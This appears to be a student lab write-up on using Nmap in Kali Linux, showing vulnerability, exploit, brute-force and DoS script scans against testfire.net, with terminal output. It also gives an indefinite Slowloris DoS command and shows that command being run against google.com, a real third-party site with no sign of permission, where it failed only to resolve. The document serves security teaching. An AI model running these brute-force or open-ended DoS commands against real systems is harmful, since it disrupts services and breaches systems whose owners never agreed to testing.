

<b>Ex. No. 3</b>	<b>NMAP</b>
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**Aim:**

The objective of this experiment is to:

- Perform a system and network scan
- Enumerate user accounts
- Execute remote penetration
- Gather information about local network computers

**Description:**

NMAP is an essential tool in any hacker's arsenal. Originally written by Gordon Lyon aka Fyodor, it's used to locate hosts and services and create a map of the network. NMAP has always been an incredibly powerful tool, but with its newest release, which dropped mid-November of last year, they've really out done themselves.

NMAP version 7 comes equipped with a ton of new scripts you can use to do everything from DoSing targets to exploiting them (with written permission, of course). The scripts cover the following categories

Auth: Use to test whether you can bypass authentication mechanism

Broadcast: Use to find other hosts on the network and automatically add them to scanning queue.

Brute: Use for brute password guessing.

Discovery: Use to discover more about the network.

Dos: Use to test whether a target is vulnerable to DoS.

Exploit: Use to actively exploit a vulnerability.

Fuzzer: Use to test how server responds to unexpected or randomized fields in packets and determine other potential vulnerabilities.

Intrusive: Use to perform more intense scans that pose a much higher risk of being detected by admins.

Malware: Use to test target for presence of malware.

Safe: Use to perform general network security scan that's less likely to alarm remote

Administrators.

Vuln: Use to find vulnerabilities on the target.

### **Output:**

Run NMAP

When scanning devices to determine which ports are open, there are various basic scanning options:

-sS –Performs a “stealth” TCP scan (that does not fully complete the “TCP three-way handshake,” and closes the connection once the service responds).

-sT –Performs a full TCP scan (a full connection is established with open TCP ports).

-sU –Performs a UDP scan (as UDP is a connectionless protocol, these scans can take significantly longer than TCP scans).

-p – Tells Nmap which ports to scan (e.g., -p1-65535 will specify every port).

There is an entire category of scripts dedicated to finding vulnerabilities on a target. Invoking the following command will run all of the scripts against your target.

```
nmap -Pn --script vuln <target.com or ip> <enter>
```

Use NMAP to Actively Exploit Detected Vulnerabilities

As mentioned, you can also use NMAP's exploit script category to have NMAP actively exploit detected vulnerabilities by issuing the following command:

```
(root@kali)-[~]
# nmap testfire.net
Starting Nmap 7.92 ( https://nmap.org ) at 2023-10-03 13:39 EDT
Nmap scan report for testfire.net (65.61.137.117)
Host is up (0.0023s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https

Nmap done: 1 IP address (1 host up) scanned in 5.73 seconds
```

```
nmap --script exploit -Pn <target.com or ip> <enter>
```

```
(root@kali)-[~]
# nmap --script exploit -Pn 65.61.137.117
Starting Nmap 7.92 ( https://nmap.org ) at 2023-10-03 13:42 EDT
Nmap scan report for 65.61.137.117
Host is up (0.0085s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=65.61.137.117
| Found the following possible CSRF vulnerabilities:
|
|   Path: http://65.61.137.117:80/
|   Form id: frmsearch
|   Form action: /search.jsp
|
|   Path: http://65.61.137.117:80/index.jsp?content=business.htm
|   Form id: frmsearch
|   Form action: /search.jsp
|
|   Path: http://65.61.137.117:80/index.jsp?content=inside_press.htm
|   Form id: frmsearch
|   Form action: /search.jsp
|
|   Path: http://65.61.137.117:80/index.jsp?content=personal_investments.ht
m
```

### Use NMAP to Brute Force Passwords

Nmap contains scripts for brute forcing dozens of protocols, including http-brute, oracle-brute, snmp-brute, etc. Use the following command to perform brute force attacks to guess authentication credentials of a remote server.

`nmap --script brute -Pn <target.com or ip> <enter>`

```
(root@kali)-[~]  
# nmap --script brute -Pn testfire.net  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-02 17:39 IST  
Nmap scan report for testfire.net (65.61.137.117)  
Host is up (0.027s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
| http-brute:
```

### Use NMAP to Test if Target Is Vulnerable to Dos

Use the following command to check whether the target is vulnerable to DoS:

`nmap --script dos -Pn <target.com or ip> <enter>`

This will tell you whether the target is vulnerable without actually launching a dos attack.

```
(root@kali)-[~]  
# nmap --script dos -Pn testfire.net  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-02 18:38 IST  
Stats: 0:02:47 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
```

Use the following command to perform an active DoS attack against a target for an indefinite period of time:

`nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true`

```
(root@kali)-[~]  
# nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-02 17:47 IST  
WARNING: No targets were specified, so 0 hosts scanned.  
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.43 seconds
```

```
(root@kali)-[~]  
# nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true google.com  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-02 18:12 IST  
Failed to resolve "google.com".  
WARNING: No targets were specified, so 0 hosts scanned.  
Nmap done: 0 IP addresses (0 hosts up) scanned in 40.25 seconds
```

**Result:**

The objective of scanning network, remote penetration and gathering information about local network computers is successfully accomplished using NMAP tool in Kali Linux.